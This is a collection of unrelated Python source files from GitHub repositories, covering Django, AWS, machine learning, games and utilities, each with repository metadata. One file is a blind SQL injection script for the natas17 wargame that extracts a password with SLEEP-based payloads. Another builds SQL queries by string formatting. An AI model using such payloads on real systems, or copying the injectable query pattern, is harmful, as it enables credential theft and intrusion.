c0a05f1b3088a5e58fd3043666dc8bf7c3901463
refs/heads/master
2023-08-14T15:42:12.206273
2021-10-08T07:18:31
2021-10-08T07:18:31
null
0
0
null
null
null
null
UTF-8
Python
false
false
297
py
import glob import subprocess from natsort import natsorted files = glob.glob("../subs/**/*.ass") for file in natsorted(files): out = subprocess.run(["prass", "sort", file, "--by", "time", "--by", "layer"], capture_output=True).stdout with open(file, "wb") as fw: fw.write(out)
[ "evauwu@riseup.net" ]
evauwu@riseup.net
cc127053a81f62316afc0090419ba6bb2d7c239d
05912d33d0946907c76acf3641c0d1595a2ce8db
/115 - Sine wave generator from pseudorandom numbers (python 3.7, turtle)/Sine wave generator.py
d7f9c6a631839821f1ba6cc3189a08faba5d1b58
[]
no_license
binariusO1/Programming-Challenges-v3.0
d94343ec27e9cd32aaafc4a5723ec929cd0c52fd
e1535d71a10610f61411e84c47b20955a49581b4
refs/heads/master
2022-11-29T04:51:38.127603
2020-07-28T07:55:28
2020-07-28T07:55:28
261,884,490
1
0
null
null
null
null
UTF-8
Python
false
false
690
py
# programming challenge # Sine wave generator from pseudorandom numbers (drawing version) # python 3.7 # binariusO1 import math import turtle import random screen = turtle.Screen() screen.setup(width=1000, height=500) sin = turtle.Turtle() sin.penup() sin.setpos(500,0) sin.pendown() sin.setpos(-500,0...
[ "noreply@github.com" ]
noreply@github.com
dfa3997b79d82cb3eaa64078410d6480ad4bcb11
d389de54a2a60b9a03c8174fea1792aac1b25b51
/app.py
415d36238ed668fa77a07cf9ceadcdc75aeae4fc
[]
no_license
mythrex/temp
ec7afb70b2e42888f051efb414d855b4cc68f941
89e4db8f2c32cded68f478e48497a10295fbd1c1
refs/heads/master
2020-09-19T09:11:35.883244
2019-11-27T16:22:32
2019-11-27T16:22:32
224,214,847
1
0
null
null
null
null
UTF-8
Python
false
false
3,863
py
# -*- coding: utf-8 -*- """Yogesh.ipynb Automatically generated by Colaboratory. Original file is located at https://colab.research.google.com/drive/1PW1UML8uY6pHgwscvry3fYCD2cVa9caj """ from sklearn.cluster import KMeans import matplotlib.pyplot as plt import argparse import utils import cv2 from PIL import Ima...
[ "shivam.kaushik73@gmail.com" ]
shivam.kaushik73@gmail.com
c7f1201c3e61453269bb6e0b31c6eb75d71a6919
a4e492ab379bb1e85dbce233ac0cd95d6cf52f7c
/procedure/__init__.py
719517b8ec9c4397df0d7f0349199e87dd3b8d89
[]
no_license
newdoublefish/basepowin
ca254039ee30bab680a2f11e79436223088183fa
38167e16cb7cd33b624fafe0e34de58f3f2c506e
refs/heads/master
2022-12-17T12:14:16.070778
2020-04-05T08:43:52
2020-04-05T08:43:52
247,663,651
0
0
null
2022-12-08T03:05:12
2020-03-16T09:41:30
Python
UTF-8
Python
false
false
53
py
default_app_config = "procedure.apps.ProcedureConfig"
[ "zengyanren@gdmcmc.cn" ]
zengyanren@gdmcmc.cn
fa6b43d517d15d1dba0bf79358d5291a7130266d
12446b4d9a8361a22a96c13dc3f8288c9526a664
/transTX.py
a90b644fe9a6eac587caa374c5f4a17571569579
[ "MIT" ]
permissive
Alicture/TransLater
33b407027d8e94850915c40910ff978e437063a8
0d7f0c31b640f69ce5aaa6406245c2d5a5e7577e
refs/heads/master
2021-04-30T01:45:31.987588
2018-06-02T02:12:19
2018-06-02T02:12:19
121,489,623
19
2
null
null
null
null
UTF-8
Python
false
false
863
py
from QcloudApi.qcloudapi import QcloudApi import random import json def transTX(srcStr,srcL,tarL): with open("config.json","r") as confile: configJson=json.load(confile) module = 'tmt' action = 'TextTranslate' config = { 'Region' : 'gz', 'secretId' : configJson["secretId"], 'secretKey': configJ...
[ "lzp123518@gmail.com" ]
lzp123518@gmail.com
f2c07af575636924d36d2f3874cd92e1c7c7d55f
8b8da03245af2d7dd3513bf4ba9a1cf9f4923275
/bingads/v12/bulk/entities/bulk_account.py
37f2eefd971a7145b4193bbb6a6a02f5e9f27f37
[ "MIT" ]
permissive
dev0505/BingAds-Python-SDK
42233f4c41209da99ad3e5c494babdd2e13ead69
ec8e98f5ff1f472b2ca5801c4dc230039c5b83f9
refs/heads/master
2020-05-07T19:34:50.000451
2019-03-21T05:04:22
2019-03-21T05:04:22
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,325
py
from bingads.v12.internal.bulk.string_table import _StringTable from bingads.v12.internal.bulk.entities.single_record_bulk_entity import _SingleRecordBulkEntity from bingads.v12.internal.bulk.mappings import _SimpleBulkMapping from bingads.v12.internal.extensions import * class BulkAccount(_SingleRecordBulkEntity): ...
[ "qitia@microsoft.com" ]
qitia@microsoft.com
5f4d77e23167f3bf0d0675424733847d1d4e48b4
e0a93800dd84b4ec8c32cd7e141939385e2b2f5c
/code/correspondencia.py
2b6bca05fe518386b057d8a1e6cc7cb0d32363db
[]
no_license
chrisrodz/PP-Research
0f3b9a0eb96a584434b09673d7b1ec1a32de0eba
03a15ef63c988a87fee854565c4d0af2cae9621a
refs/heads/master
2020-04-16T13:48:36.336854
2014-04-24T19:10:27
2014-04-24T19:10:27
9,220,734
0
0
null
null
null
null
UTF-8
Python
false
false
1,059
py
# This file was *autogenerated* from the file correspondencia.sage. from sage.all_cmdline import * # import sage library _sage_const_1 = Integer(1); _sage_const_6 = Integer(6) def corresp (p, a, b): f = GF(p) alpha = f.primitive_element print "for p = " + str(p) + " and (a, b) = (" + str(a) + ", " + str(b) + "): "...
[ "a-leinad93@hotmail.com" ]
a-leinad93@hotmail.com
ef13c62dea107aa6a586df942374393c6edf1ec3
546386609a2985a92ecd6c380459d231df0415fb
/heightmaptilemaker/progress/default_printer.py
bc24c2b934e2173cbd5934224e266b7ef469ec18
[ "MIT" ]
permissive
ulrichji/HeightmapTileMaker
0617e8fb198db653b5d961b370eba782b2431f26
fd81ea06d3e5c361f8190bd6f525039c6c4abb4a
refs/heads/master
2022-11-30T04:18:00.300178
2022-08-18T05:55:12
2022-08-18T05:55:12
201,532,373
0
0
MIT
2022-11-22T06:21:51
2019-08-09T19:57:49
Python
UTF-8
Python
false
false
1,087
py
from .progress import Progress class Printer: def __init__(self): self.previous_length = 0 def finish(self, message='Done'): self(Progress(1, message)) print('') def __call__(self, progress): print(self._getMessageWithClearingPrevious(progress), end='\r') def _getMess...
[ "ulrich@isachsen.org" ]
ulrich@isachsen.org
b2cfe1092e22c227dec07d50d614595658364f05
7d789a8dd56bf03566372246799741174c410b6f
/backend/mtc_etedjmodel/apps/location/models.py
8249e3504a383ebf870b9ff04042b56282f27f30
[]
no_license
cecilio-diaz/EcoTecno
2a95e925e8046da37ba0fd9a06390430a955e1c6
e264ad6345d9972605c7a59d7a926385fe5339e6
refs/heads/master
2023-01-28T14:38:24.308444
2019-11-07T00:51:10
2019-11-07T00:51:10
219,706,855
0
0
null
2023-01-05T00:39:03
2019-11-05T09:30:39
Python
UTF-8
Python
false
false
1,091
py
from django.db import models # Create your models here. from django.utils import timezone from apps.seller.models import profile # Create your models here. class service(models.Model): seller = models.ForeignKey(profile,null=True,blank=True,on_delete=models.CASCADE) date_create = models.Date...
[ "cecilio-diaz@sisamex.com.mx" ]
cecilio-diaz@sisamex.com.mx
7c4a2689e7091b72b2c340a77b75c8d45c859252
56ca5f2ef97fb9a15471ba8b99435063ad8a7b38
/DP/houseRobber.py
53a20ef63f3cecbb3ee07f1cfd783a75fb234a8d
[]
no_license
phanitejakesha/LeetCode
34897e8e12c842f8870b4a9994323915450f8789
9a53ed747f5477f44bf37dc140da9f9cc2544f5a
refs/heads/master
2020-03-28T21:25:23.323560
2019-06-16T23:39:27
2019-06-16T23:39:27
149,154,795
0
0
null
2018-12-09T04:40:45
2018-09-17T16:26:47
Python
UTF-8
Python
false
false
487
py
#Leetcode problem Number 198 #House robber class Solution(object): def rob(self, nums): """ :type nums: List[int] :rtype: int """ if len(nums)==0: return 0 dp = [0]*len(nums) if len(nums)==1: return nums[0] dp[0]=nums[0] ...
[ "phani1@umbc.edu" ]
phani1@umbc.edu
475f673ee4d6de49773617a0d0c1e05f3b2cd454
c1e2777106ab198ad9ebfd2ba18ce95ce9b46ded
/utils.py
efb0bc75a9add14fdaa233ca8be7e906ab0bb676
[]
no_license
paulhenrique/glmtscatt_refactor_web
21c8deaad28dac1fadec74143f4884417357525d
73772c75a0a3b7e69735c61fd4ed6519bfb2567e
refs/heads/master
2020-09-11T04:25:13.279797
2020-08-15T22:56:01
2020-08-15T22:56:01
221,937,555
1
0
null
null
null
null
UTF-8
Python
false
false
1,947
py
# -*- coding: utf-8 -*- """ Created on Sat Nov 9 11:14:14 2019 @author: luizv """ from scipy.special import loggamma, gammasgn, lpmv import scipy.special as special import numpy as np def factorial_quotient(num, den): return gammasgn(num + 1) * gammasgn(den + 1) * np.exp( loggamma(num + 1) - loggam...
[ "luizvotto@gmail.com" ]
luizvotto@gmail.com
ed5af8616ff23827d237a8a258226326d3783b3d
cf33714afddc647f9073fa1a139c0fab8e012123
/amazon_cf.py
7e259b0f69153c6349515cdbb421589a0ede4cf4
[ "MIT" ]
permissive
martyni/amazon
59bd69f51a6d12dced45598d69668954ae078b6e
7c28985af3bbdcfdb83e99ebcccde70b843143da
refs/heads/master
2020-05-21T16:26:04.407450
2016-10-12T09:44:50
2016-10-12T09:44:50
65,027,727
0
0
null
null
null
null
UTF-8
Python
false
false
22,588
py
#!/bin/python from pprint import pprint import json import re import netaddr import os from amazon_client import Cloudformation from helper import ( Resource ) class Environment(object): def exception(self, problem): '''base exception method''' raise BaseExeption(problem) def __init__(se...
[ "martyn.pratt@kaplan.com" ]
martyn.pratt@kaplan.com
2965fe1e208f712e3e99e3ebf5778e835be9fd11
910c97ce255f39af7ef949664b4346e8cb5d6a0e
/monitorcenter/monitor/mirror/disk.py
b149464a149accec9348522008b7e46f181d867e
[]
no_license
sun3shines/manager_monitor
f3742a4fde95b456f51d0a18feb78f3d4048c560
f49d741203d8476f2249a49d90fecc86143ac622
refs/heads/master
2021-01-17T06:47:14.375088
2016-04-29T06:43:05
2016-04-29T06:43:05
57,361,217
0
0
null
null
null
null
UTF-8
Python
false
false
2,143
py
# -*- coding: utf-8 -*- from managerlib.db.table.dynamic.stat_disk import Disk,insert_disk,update_disk from managerlib.db.table.dynamic.stat_disk import hid2attrs as DISKhid2attrs from monitorcenter.monitor.mirror.base import MirrorBase class MirrorDisk(MirrorBase): def __init__(self,db,hid): super(Mirror...
[ "sun__shines@163.com" ]
sun__shines@163.com
c928d652311163cd67c3071a7f3513d7ce86b16b
8ef8e6818c977c26d937d09b46be0d748022ea09
/nlp/cloze_test/glm/pytorch/GLMForMultiTokenCloze/base/train/event/log.py
ca169d8b4fe1aecee27cdc806aa66540ed65822d
[ "Apache-2.0" ]
permissive
Deep-Spark/DeepSparkHub
eb5996607e63ccd2c706789f64b3cc0070e7f8ef
9d643e88946fc4a24f2d4d073c08b05ea693f4c5
refs/heads/master
2023-09-01T11:26:49.648759
2023-08-25T01:50:18
2023-08-25T01:50:18
534,133,249
7
6
Apache-2.0
2023-03-28T02:54:59
2022-09-08T09:07:01
Python
UTF-8
Python
false
false
5,275
py
import copy import inspect import os import os.path as ospath from typing import Tuple, Union, Iterable from torch import Tensor from torch.cuda.amp import GradScaler from torch.optim import Optimizer from config.config_manager import get_properties_from_config from utils.logging import PerfLogger, LogEvent, PerfLogL...
[ "jia.guo@iluvatar.ai" ]
jia.guo@iluvatar.ai
b6b9d88343aee2b8108410dee6b27b48b6767240
74f9afe29f40c46f723cc9b0e28c69a1e126833e
/src/modules/profanity.py
efbb7d78463f5cc97c02cdb1f1b00b2628804ce1
[]
no_license
Kalani91/botcode
8f5f33ae53bf149448da310e399398b5c12f5f0d
bb32a5f29e7cb82e4a81be6f6ae0f6f3fc724c9a
refs/heads/main
2023-04-19T21:27:39.951119
2021-05-14T10:46:18
2021-05-14T10:46:18
367,790,299
0
0
null
null
null
null
UTF-8
Python
false
false
402
py
from better_profanity import profanity def testIfBad(message): print(message) isProfain = profanity.contains_profanity(message) if isProfain: return { "profanity": isProfain, "message": "This contains bad words.", } else: return { "profanity"...
[ "Ban11gers@users.noreply.github.com" ]
Ban11gers@users.noreply.github.com
897244133a7320c90c57dbbd5bf8a56884a9e31a
a0488f4512489e5add6a94d278133c5913050608
/MarkovChainSentenceGenerator/main.py
3436c1867b4def6c5c98fa908d45af03effbef69
[ "MIT" ]
permissive
tomas1207/ProgrammingChallanges
fc682c994d1925065468a537358b8ef406baf1b0
26c528953ef192bf9aa16e20dac9adbd0735296f
refs/heads/main
2023-08-06T02:52:39.070684
2021-09-23T16:00:48
2021-09-23T16:00:48
408,600,482
0
0
null
null
null
null
UTF-8
Python
false
false
2,551
py
import random text = """KENNEDY SPACE CENTER, FL, September 18, 2021 – After three days orbiting Earth, the astronauts of Inspiration4 flying aboard SpaceX’s Dragon spacecraft safely splashed down in the Atlantic Ocean off the coast of Kennedy Space Center, Florida, at 7:06 p.m. EDT. The return marks the completion of...
[ "tomasfernandes98@gmail.com" ]
tomasfernandes98@gmail.com
9e9d5a06f5ba2c03f692f19eff3a88980214926e
7c734be733b8a3d5036e80a22404ff954265de0b
/forms/functions.py
1e29c68d17d2713bc468d8a33509471e57b6f0f1
[]
no_license
VasiliyNichnikov/website-computer-manager
532da8cbf9562ee5897d3da37451f6f2059d0394
30c27e0eef411949baa8349120c7eef87a5a3ccb
refs/heads/master
2023-05-23T06:49:52.360108
2020-04-23T19:08:56
2020-04-23T19:08:56
257,678,305
0
0
null
null
null
null
UTF-8
Python
false
false
419
py
from flask_wtf import FlaskForm from wtforms import StringField, BooleanField, PasswordField, SubmitField from wtforms.validators import DataRequired, Email class FunctionsForm(FlaskForm): shut_down = BooleanField('Завершение работы') reboot = BooleanField('Перезагрузка') sleep_mode = BooleanField('Спящий...
[ "v.nichnikov@gmail.com" ]
v.nichnikov@gmail.com
ee341b06e7a3c12b0bead70a554520ef470d250a
93ae733668ab0f098b0f7bf12df67a1a6a67672d
/crud/article/serializers.py
671a22ff6718ff099992ca7d5a2cd71d99b55e5b
[]
no_license
renzyndrome/CRUD-DjangoRest-Vue-bootstrap
ba04d8987bf4540f11ebaefec0050faba72ff139
b2d74bfac14b067bdc9a0c131b3937b2fe5898ca
refs/heads/master
2020-03-18T21:23:52.942568
2018-05-29T10:27:51
2018-05-29T10:27:51
null
0
0
null
null
null
null
UTF-8
Python
false
false
197
py
from rest_framework import serializers from .models import Article class ArticleSerializer(serializers.ModelSerializer): class Meta: model = Article fields = '__all__'
[ "gabrielrebadulla@gmail.com" ]
gabrielrebadulla@gmail.com
512e62ab2a6f267384981a5d0c91a18f8719582b
c2de7163e48598b863f15ec83fe98aa7879d2984
/resumewebproject/main/routes.py
4c48807fb42ef48ce05024616301608276287576
[]
no_license
AlPilipenko/web_resume
d43c919ef350e264a82ee4314bbde64debba2d18
2f222197f27389b9634a33b2ca5938ce23a3ea94
refs/heads/master
2023-03-01T03:31:45.703819
2021-01-30T12:20:35
2021-01-30T12:20:35
334,403,843
0
0
null
null
null
null
UTF-8
Python
false
false
1,110
py
from flask import Blueprint from flask import render_template, url_for, flash, redirect, request,send_from_directory main = Blueprint('main', __name__) @main.route('/home', methods=["GET","POST"]) @main.route('/', methods=["GET","POST"]) def home(): return render_template('home.html',title="Home") @main.ro...
[ "almondiris@gmail.com" ]
almondiris@gmail.com
3437eb8f18bd681eeedd970a5cb27f7e5d008038
13ae1d539b99a7e0150fbf3d8cfe962c745f4ff1
/backend/settings.py
ee4a33b8b7706e19ff959c5a9421f1a2b30e2683
[]
no_license
DmitriiUK/project-04
d259f0a57ea471f6774ca9386641e6d250cab05c
b5ec58044e23a8b7e30c1e9b6cbe2bd186cc2051
refs/heads/master
2022-12-25T14:27:39.067776
2019-09-12T09:59:30
2019-09-12T09:59:30
207,669,773
0
0
null
2022-12-22T12:34:20
2019-09-10T21:53:05
Python
UTF-8
Python
false
false
3,079
py
import os import django_heroku # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/ # SECUR...
[ "dmitriisolomatin@icloud.com" ]
dmitriisolomatin@icloud.com
6c7d3b3e77d51e30fd2a6337e3b0a44ad01566bf
c3bd2e0c6f098651c6b9c1c5b5a467fbb5f6d084
/T01/menu_sesion.py
0c6743209cdd76946a37d59aed3ab36ded95e669
[]
no_license
adbakulic/iic2233-T00
ee8ab816bfa6ae67075abb2b00f37a9ecc95b6ea
260fa8d6403c5193a9d9ffbf087eb1de8f582f17
refs/heads/master
2020-07-05T07:23:52.165022
2019-09-13T18:17:20
2019-09-13T18:17:20
202,570,263
0
0
null
null
null
null
UTF-8
Python
false
false
14,803
py
import random from itertools import chain from piloto import Piloto from vehiculos import Vehiculo, Automovil, Troncomovil, Bicicleta, Motocicleta from collections import namedtuple, defaultdict from parametros import * from menu import Menu class MenuSesion(Menu): def __init__(self, nombre_menu): super()...
[ "antobakulic@MacBook-Pro-de-Antonia-4.local" ]
antobakulic@MacBook-Pro-de-Antonia-4.local
cc9151b4978d97db4d95961c579b2072e7d0fc17
e30b2fe3a6a47996beeda2457533a89dfd6db6fc
/sim_rl_server_meetup.py
2ce099fa7f377e41bb4b9742f51d4da0de74b984
[]
no_license
oxygen-meetup/donkeyRL
54db888e2850d2f1d687ee44c9ee92449d476eb5
07a4b36dbbd1e83b6fcaafc5e9a5fa41d3d54b33
refs/heads/master
2020-04-12T07:19:29.188763
2019-02-06T01:01:30
2019-02-06T01:01:30
162,363,696
0
0
null
null
null
null
UTF-8
Python
false
false
19,243
py
#!/usr/bin/env python ''' Predict Server Create a server to accept image inputs and run them against a trained neural network. This then sends the steering output back to the client. Author: Tawn Kramer ''' from __future__ import print_function import os import argparse import sys import json import time f...
[ "noreply@github.com" ]
noreply@github.com
e410e76df32e10370050d18fa120bb913f648d47
8611e45734832ead74d63d10ebe3ade3c095c9e9
/blm_papua.py
7fd1e5a9280b0e11333f49a199e09349f154c040
[]
no_license
faturr/pandas-pamsimas
136dfe7a70778857c798ffe834e567f100c635f4
42e0949d63bc6a69a20ba971f52a157dcbc323a2
refs/heads/master
2021-09-03T13:50:46.704748
2018-01-09T14:43:46
2018-01-09T14:43:46
115,255,958
0
0
null
null
null
null
UTF-8
Python
false
false
1,614
py
import pandas as pd import numpy as np import time pd.set_option('display.width', 1500) # pd.set_option('display.max_columns', 30) pd.set_option('display.max_columns', None) pd.set_option('display.max_rows', None) qs = pd.ExcelFile('QS_BLM_PAPUA_DETAIL.xlsx') dfk = qs.parse('Sheet1', header=None, skiprows=7) dfk...
[ "faturr@gmail.com" ]
faturr@gmail.com
8956c82b70f3c06c67ded7f5e8dbbe4c29bfb4f4
608b8afff999fd4e462b0eb2a1efc51418c977df
/ADTs/8_puzzle_demo.py
43849ec14e38ba439eda45215bf5bd6a3eda24aa
[]
no_license
Qingzhuoranguo/boyuEducation
6fd77885472f64ca7564ee1d1bcab88d4ce715d9
de830a96ea835e482f39aefc28d10f0bbae1f906
refs/heads/master
2023-01-12T22:26:07.436908
2020-11-17T02:22:01
2020-11-17T02:22:01
265,699,085
0
0
null
null
null
null
UTF-8
Python
false
false
2,320
py
import random class eight_puzzle: def __init__ (self): self.state = [1,2,3,4,5,6,7,8,0] random.shuffle(self.state) while not self.check_solvability(): random.shuffle(self.state) self.empty_index = self.check() def display (self): for i in range (9): if self.state[i] == 0: print ("...
[ "qingzhuoran.guo@gmail.com" ]
qingzhuoran.guo@gmail.com
6f1856cb4ba99f13faa6b55aec2366c074d41445
1f196d937ad42fb2e9d31ffa07d1e516daaab392
/1D/1_poisson/gauss/p1d.py
f08f9898205e7a04659de87edadee5287725f57f
[]
no_license
snytav/hydropy
0b41197e5db21e75e1120e6ebe1f02221c6762c4
d5ce807e14ded24006a3cb2fca3ffffc2d1c4dcc
refs/heads/master
2020-05-31T16:59:09.731143
2019-06-07T12:59:59
2019-06-07T12:59:59
190,395,222
0
0
null
null
null
null
UTF-8
Python
false
false
1,120
py
# solve the 1D poisson equation x'' = 1 by finite element method import numpy as np import matplotlib.pyplot as plt import sympy as sp import scipy.linalg as lina import numpy.random as rnd from scipy import integrate #from basis_functions import phi,dphi def generate_mesh_random(n): x = rnd.random(n) x = np.s...
[ "snytav@gmail.com" ]
snytav@gmail.com
9125d415527bc208e8873a37539ab88b66d102d3
52b31552c2047b20072d5b8cea958a6d3fee4013
/invest/migrations/0002_auto_20201202_2342.py
4580cf505af2c9c98830a2685748e4d975f9a5f6
[ "Apache-2.0" ]
permissive
deejay001/fextra
253360496898d6e68ac1577709853d01bec71344
ac29d1823ccc561a7e902dd1efbf2fa2a95ca841
refs/heads/master
2023-02-21T18:46:52.890445
2021-01-17T13:38:59
2021-01-17T13:38:59
319,409,304
0
0
null
null
null
null
UTF-8
Python
false
false
589
py
# Generated by Django 3.0.8 on 2020-12-02 22:42 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('invest', '0001_initial'), ] operations = [ migrations.AddField( model_name='coupon', name='output', fiel...
[ "osayemiayodeji28@gmail.com" ]
osayemiayodeji28@gmail.com
4558befe3715c4099f17209568f8bcf524098329
042fd30d89d8325b7f91fb01a3476a446d346060
/database_manager/database_strings.py
1f78b383415bb927573fe2a1287e0833661974d3
[]
no_license
LahiruOshara/fyp_flask_server
53a5dbbbf8bcf3e4b1c431973f08f2180405d34b
7f1c6728738a8c0a2f850adcc7bfcd32d43926a6
refs/heads/main
2023-02-16T06:11:17.699867
2021-01-13T06:08:18
2021-01-13T06:08:18
329,208,526
0
0
null
null
null
null
UTF-8
Python
false
false
213
py
# queries INSERT_TEXT = 'INSERT INTO ransomware ({}) values ("{}","{}","{}","{}")' GET_SOLUTON = 'SELECT * FROM ransomware WHERE extension="{}";' # other strings TABLE_COLUMNS = "NAME, EXTENSION, TEXT, SOLUTION"
[ "oshara.16@cse.mrt.ac.lk" ]
oshara.16@cse.mrt.ac.lk
f8ddf2cb07624eabe3a281e2d346f7452b28d233
80831d77ef6fc3b485be80501b73ccb30ce5e444
/networkapi/api_equipment/tests/sanity/test_equipment_get.py
56e5f87ba6ac8d169743fd61137b14ced95d0430
[ "Apache-2.0", "BSD-3-Clause", "MIT", "LicenseRef-scancode-public-domain", "BSD-2-Clause" ]
permissive
globocom/GloboNetworkAPI
e2fdf5a9e6070359e90801bf3e45c2d499f199c5
eb27e1d977a1c4bb1fee8fb51b8d8050c64696d9
refs/heads/master
2023-06-25T21:34:04.923940
2023-05-29T12:07:20
2023-05-29T12:07:20
22,734,387
86
74
Apache-2.0
2023-05-29T12:07:21
2014-08-07T19:47:43
Python
UTF-8
Python
false
false
1,317
py
# -*- coding: utf-8 -*- import logging from django.test.client import Client from networkapi.test.test_case import NetworkApiTestCase log = logging.getLogger(__name__) class EquipmentGetTestCase(NetworkApiTestCase): fixtures = [ 'networkapi/system/fixtures/initial_variables.json', 'networkapi/...
[ "ederson.brilhante@corp.globo.com" ]
ederson.brilhante@corp.globo.com
a608a6881b7a0c956720dc864111f04f86714835
a1d9d97fe3ab921af25c124ff8484f3c52b77e6f
/install.py
e4af510476632d7803f484adfce8f2782f80f254
[ "MIT" ]
permissive
whengrun/launchd-with-networkchange
3ff515c2195ac4fbcc32fdfb4a056a90fb8a31bb
6a2eb4aa61989990e6d16e5aa6c965e8a1931a53
refs/heads/master
2021-06-25T01:28:32.254966
2019-07-09T09:34:07
2019-07-09T09:34:07
187,585,521
0
0
MIT
2019-05-20T07:02:31
2019-05-20T07:02:30
null
UTF-8
Python
false
false
5,848
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # @author: JeffMa import sys import os import time import subprocess import getpass reload(sys) sys.setdefaultencoding('utf-8') # current dir dir_path = os.path.dirname(os.path.abspath(__file__)) def add_to_keychain(username, password): p = subprocess.Popen([ ...
[ "mjh2316@gmail.com" ]
mjh2316@gmail.com
03cde136dd00a74a676e5f1d9bf3f1c1b566589e
62ba0bad267034a0dea7f10faf346ff652c61b5f
/camping_website/camping/website_app/migrations/0002_homepage.py
aad21c28bfd48af51e9671e1371afe221fd96e20
[]
no_license
JordanPossible/website_proto
5f98be5f03370d1aa087307e280ea19e8dee5f5f
e299b69c47a29aee17155fe25ef8cdb47ae2c6e7
refs/heads/master
2020-04-07T02:36:55.457955
2018-11-17T12:34:58
2018-11-17T12:34:58
157,982,790
0
0
null
null
null
null
UTF-8
Python
false
false
3,864
py
# Generated by Django 2.1.2 on 2018-10-07 13:40 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('website_app', '0001_initial'), ] operations = [ migrations.CreateModel( name='HomePage', fields=[ ('...
[ "jordan.guillonneau@live.fr" ]
jordan.guillonneau@live.fr
ae39eb3246b7856d882aa2c6879b4a3c8b3ba3f5
4b7bc2c8235cf1ff4d03b7856ff89ffad7892921
/test.py
a78829de214a33e94d27d5469f7fca348d84f896
[ "BSD-3-Clause" ]
permissive
nikiibayat/FaceRecognition
c63ee041488972d007c64bfe7f20f6b70bde13fe
feeddbe5335780014d877dddca6fe4f0da7d7476
refs/heads/master
2023-05-12T06:13:53.143300
2023-01-14T18:03:45
2023-01-14T18:03:45
247,573,809
0
0
BSD-3-Clause
2023-05-01T21:21:28
2020-03-16T00:06:33
Python
UTF-8
Python
false
false
4,908
py
from builtins import len import numpy as np import joblib import argparse import sys sys.path.insert(1, '/tmp/pycharm_project_243/face_recognition') import preprocessing from face_features_extractor import FaceFeaturesExtractor from PIL import Image import os import torch import pickle face_recogniser = j...
[ "noreply@github.com" ]
noreply@github.com
b8c4aed032c3eaef27a9c28fcb7bcaec9e5024e6
6226d27a844400989d7320fe8041599839ae9628
/moajo/chapter10/p94.py
b880e5d5a3f35592aeec696445c0d39524ba3abd
[]
no_license
lrlab-nlp100/nlp100
cb73e996b36a439ae279c99e5463e63678188271
65bfb4e5fdc42a655043c9d531e9f7bc10f82ed8
refs/heads/master
2021-01-19T23:33:07.483184
2017-06-29T03:47:46
2017-06-29T03:47:46
88,996,166
0
3
null
null
null
null
UTF-8
Python
false
false
982
py
#!/usr/bin/env python from p90_87 import load_vectors from p90_88 import get_similar_word import numpy as np def get_sim(vec1,vec2,vectors): vec1_normalized = vec1/np.linalg.norm(vec1) vec2_normalized = vec2/np.linalg.norm(vec2) return np.dot(vec1_normalized,vec2_normalized) def main(): vectors = lo...
[ "mimirosiasd@gmail.com" ]
mimirosiasd@gmail.com
1b5799302793165e5afd017633f7bf5c9276f0dc
d823a70b13068c400cd464bbffa6afd83960bc63
/Unit4/unit4-demo7.py
8f6d2d1fe6f39f3adcd13482f3400e7b43276a32
[]
no_license
shoroogAlghamdi/test
4ca4c6b68ea5b0f56750a42d88206c3555d23578
a065e8da1fb8bcf2f2f2319f708cd8a13e44671f
refs/heads/master
2023-03-12T15:54:57.068519
2021-02-27T17:40:06
2021-02-27T17:40:06
342,911,409
0
0
null
null
null
null
UTF-8
Python
false
false
55
py
# Slide 36 var1 = True var2 = False print(var1 or var2)
[ "shoroogalghamdi@gmail.com" ]
shoroogalghamdi@gmail.com
f81206cb467b2b8fe61e58a12232515f739096dc
0918c2b9924af1ad5ad022e47968008505ee4e10
/natas/natas17.py
27edc9537ba6cf9d204c0e611c1a58ce448e5373
[]
no_license
AkashKrDutta/wargames
3cd1f2354bef480c9fb033dc7b54844915542aff
57df45e19b59a21b87f020a94b1887fdfc996af3
refs/heads/master
2023-04-23T18:17:54.719196
2021-05-11T05:18:42
2021-05-11T05:18:48
364,640,989
0
0
null
null
null
null
UTF-8
Python
false
false
870
py
#! /usr/bin/env python3 import string import urllib.parse import requests url = "http://natas17.natas.labs.overthewire.org/index.php" payload = {'username' : 'natas18" AND BINARY password LIKE "{flag}%" AND SLEEP(5); #'} #payload = {'username' : 'natas18" AND SLEEP(5); -- Comment'} headers = {'Authorization': 'Basic b...
[ "akdboltzmann@gmail.com" ]
akdboltzmann@gmail.com
8daa70319b495b419dab842bfa7dbcfe893e501b
2dc02f8618f7ad080ff36af1be8714339b78a02b
/users/migrations/0005_auto_20190402_2143.py
d5a35decc0ef636b2e538b0d747a6c4703a28419
[]
no_license
ankush953/django-blog
809c1a20553ae3cc6c86228fecf6e253f8cdf9a5
169cf17b2a637ab91d0c794fee05e0d327b93893
refs/heads/master
2022-12-01T23:32:42.555729
2021-12-29T05:58:50
2021-12-29T05:58:50
180,637,573
1
0
null
2022-11-22T08:49:16
2019-04-10T18:09:44
JavaScript
UTF-8
Python
false
false
546
py
# Generated by Django 2.1.7 on 2019-04-02 16:13 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users', '0004_auto_20190402_2142'), ] operations = [ migrations.AlterField( model_name='siteuser', name='firstname',...
[ "ankushraghuvanshi07@gmail.com" ]
ankushraghuvanshi07@gmail.com
3214f2afe63d3e9f99ce4956357f2b9d65d1b56d
f7d971f33d53df598523d1320727c83447fea66d
/dataset/spliter.py
8eb511a8f6d103e24362014fad2e46d5d1e3b74e
[ "Apache-2.0" ]
permissive
mottled233/MRC_FastFrame
6f7cfcf08bf1d932769935a303b2cc6a215ae806
48b63556b2d12526f82f2b307f15cd4d640a6520
refs/heads/master
2022-12-11T16:02:58.816453
2020-10-18T02:56:23
2020-10-18T02:56:23
238,381,677
3
2
Apache-2.0
2022-12-08T10:13:46
2020-02-05T06:17:28
Python
UTF-8
Python
false
false
2,083
py
from dataset.dataset import Dataset import math class Spliter(object): def __split(self, full_list, ratio): """ 私有方法,功能是将一个列表按ration切分成两个子列表 :param full_list: :param ratio: :return: """ n_total = len(full_list) offset = int(n_total * ratio) i...
[ "dyy401453043@163.com" ]
dyy401453043@163.com
ce8ad80e4b3ccdaf38cff0d7c8f5f696f1b0aa0b
